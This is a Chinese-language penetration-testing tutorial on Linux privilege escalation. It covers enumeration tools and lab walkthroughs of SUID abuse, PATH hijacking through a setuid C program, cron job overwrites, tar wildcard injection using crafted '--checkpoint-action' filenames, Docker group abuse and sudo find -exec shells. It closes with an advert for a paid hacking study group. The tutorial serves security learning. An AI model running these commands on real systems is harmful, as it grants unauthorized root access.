0X01工具介绍
1.traitor
https://github.com/liamg/traitor
自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少
不带参数运行寻找可能存在的漏洞
带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数
2.LinEnum
https://github.com/rebootuser/LinEnum
可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
例如版本,定时任务,权限,环境变量等等,可以方便我们快速的确认当前可以提权的方式
3.linux-exploit-suggester.sh
https://github.com/The-Z-Labs/linux-exploit-suggester
漏扫脚本,查看是否有可以利用的漏洞
4.Linux Exploit Suggester 2
https://github.com/jondonas/linux-exploit-suggester-2
漏扫脚本,查看是否有可以利用的漏洞
5.beroot
https://github.com/AlessandroZ/BeRoot
BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,
以方便找到提高我们提权的方法。
0X02提权手法
1.利用suid提权
具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。
手动查看有suid权限的程序
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
可以用来提权的命令
Nmap
Vim
find
Bash
More
Less
Nano
cp
find利用
touch pentestlab
find pentestlab -exec whoami \;
其他利用手法参考该网站
https://pentestlab.blog/2017/09/25/suid-executables/
2.环境变量提权
管理员编译程序的时候,给了程序管理员权限运行的权限,通过对程序的运行调试得到程序运行的大概逻辑,尝试对程序调用的环境变量进行复制后覆盖。导致程序调用环境变量过程中会调用到我们的想执行的程序,通常是我们的木马后门.
提权流程:
ind / -perm -u=s -type f 2>/dev/null使用该命令,或者上述工具进行信息收集,找到有suid权限的程序
找到用户自己编译的程序
去分析这些程序,通过反编译,调试等手段,查看是否有程序在运行过程中调用了环境变量的命令,如ps,su,ping等等
我们把bash或者sh复制为ps,并添加到环境变量,那么程序在调用ps时就会优先调用我们最新添加的环境变量ps,使用sudi权限执行bash或者ps我们就会得到root权限的shell,从而达到提权的目的
Linux 在执行命令时会按照以下顺序搜索可执行文件:
命令别名(alias):首先会检查是否存在与命令名称匹配的别名,如果有,则执行别名对应的命令。
用户自定义的函数(如果存在):如果用户在当前 Shell 中定义了与命令名称相同的函数,则会执行该函数。
内建命令(built-in):Linux Shell 提供了一些内建命令,例如 `cd`、`echo` 等。如果命令是内建命令,则会执行内建命令。
按照 PATH 环境变量中的顺序搜索可执行文件:如果以上步骤都不匹配,那么会按照环境变量 PATH 中指定的路径顺序搜索可执行文件。PATH 环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径,找到匹配的第一个可执行文件后执行。
具体操作
先写一段c程序,调用ps命令,设置uid和gid为0是要使用root权限来执行后续的操作
#include<unistd.h>
#include<stdlib.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
gcc mytest.c -o mytest
在root权限下编译输出mytest可执行文件
chmod u+s mytest 使用该命令赋予mytest **suid**执行权限让mytest执行时候自动以管理员权限执行
使用find / -perm -u=s -type f 2>/dev/null寻找具有suid权限的程序
可以发现我们刚才编译的程序
这时我们切换到普通用户权限,利用这个普通用户权限进行提权
使用cp命令把bash复制到/tmp/ps ,相当于把bash复制到tmp目录下并改名为ps
我们再把tmp目录添加到环境变量
export PATH=/tmp:$PATH
echo $PATH
可以发现此时执行ps返回的是一个shell
那么此时我们执行mytest程序它调用的ps就会执行bash返回给我们一个shell,因为他是以root权限执行的,所以就会返回给我们一个root权限的shell.
可以看到我们成功从普通用户提到了root权限
3.定时任务提权
3.1定时任务文件覆盖提权
利用定时任务有时候也可以达到提权的目的,修改有root权限的定时任务程序进行提权.
需要具备的条件
有root权限执行的定时任务
有权限修改root权限执行的定时任务
通过修改定时任务的程序,让定时任务以root权限执行时执行我们想执行的内容,从而达到提权的目的
实操
添加定时任务,直接修改/etc/crontab添加,添加定时任务还可以使用crontab -e添加,但是crontab -e添加的定时任务只有当前用户可以看见,所以这种提权方式需要直接修改/etc/crontab添加定时任务,并以root权限执行
vim /etc/crontab
这里添加一个定时清楚目录下所有文件的脚本,也可以使用sh等脚本,这里使用python
*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py
import os
import sys
try:
os.system('rm -r /root/add/*')
except:
sys.exit()
添加后保存即可,此时定时任务已经添加成功
切换到普通用户,cat /etc/crontab即可查看我们添加的定时任务
在普通用户下也可以编译定时任务执行的文件
可以把命令替换成 chmod u+s /bin/dash 赋予dash以suid权限(如果不能修改,有删除权限的话可以直接删掉,写入一个同名文件即可),返回给我们一个root权限的shel,需要加上-p参数才能提权,dash -p
我们这边还可以给另一些可以提权的命令suid权限,例如我们的find命令,这边我给find命令添加suid权限后也成功拿到了root权限
find `which find` -exec whoami \;
3.2定时任务Tar命令通配符注入提权
添加一个定时任务,每分钟备份一次add文件夹下的内容到back目录下
nano /etc/crontab
*/1 * * * * root cd/root/add;tar -zcf /root/back/add.tgz *
接下来模拟攻击者提权,发现存在定时任务压缩后,在add目录下执行以下三个命令,创建三个文件
创建一个--checkpoint-action=exec=sh test.sh名字的空文件,创建--checkpoint=1名字的空文件,创建一个test.sh,里边输入我们想要使用root权限执行的命令,然后赋予test.sh可执行权限即可
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh
chmod +x test.sh
此时等待定时任务完成即可发现在/tmp目录下多了一个bash文件
使用 /tmp/bash -p 即可提权
这个方法利用了命令的一些特性,例如,目录下存在一个--help文件时,我们使用cat --help会执行cat的帮助文档,不会获取文件的信息,这边也是一样,在执行过程中会发生以下的事情
tar -zcf /root/back/add.tgz --checkpoint=1
tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh
在压缩这两个名字的时候,会把checkpoint设为1,且执行我们的test.sh文件,由于定时任务以root权限运行,那么我们就可以利用这个特性,在test.sh写入我们想执行的任何命令,达到提权的一个效果
还有另一种情况
刚才的例子是压缩了当前目录的文件,但是当命令是压缩指定目录下的文件时,刚才的用法就失效了,例如在以下定时任务情况下,指定了/root/add/*目录,此时拼接就会失效。
nano /etc/crontab
*/1 * * * * root tar -zcf /root/back/add.tgz /root/add/*
这时候需要我们在执行完上面的操作后,对add目录下的文件进行一个归档,才可以成功解析我们的命令,具体操作如下
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
执行完后,只需要等待定时任务触发即可执行我们的test.sh
4.Rsync
Rsync是linux下的一款数据备份工具,默认开启873端口
通过Rsync替换定时任务的程序提权
5.Docker提权
如果用户具有docker权限,可以利用docker的挂载,实现容器和主机共享目录,从而修改访问主机文件,添加用户,等功能,完成提权 条件:当前用户在docker用户组,可以使用docke
6.SUDO提权
在linux中,可能会给普通用户sudo权限,以便使用sudo进行root权限才可以进行的操作,/etc/sudoers文
件是sudo权限的配置文件,其中存储了哪些用户以及命令可以以sudo权限执行
这三条得意思分别是:
root ALL=(ALL:ALL) ALL :
允许用户root在任何主机上以任何用户身份(ALL:ALL)执行任何命令。这授予了最高的权限。
%admin ALL=(ALL) ALL :
允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权
限,ALL表示可以在任何主机上执行,(ALL) ALL表示可以以任何用户身份执行任何命令。
%sudo ALL=(ALL:ALL) ALL :
允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似,这
里也使用了%sudo表示组权限。
在实战中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可
以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find
这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件
知道当前用户的密码
有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令
如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查
看/etc/sudoers配置文件中可以执行哪些命令,上文中可以使用suid提权的命令在此处也是适用的
例如:find提权
sudo find /home -exec whoami \; ,可以看到获得的是root用户
sudo find /home -exec bash \; 或者直接调用bash来获取shell
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读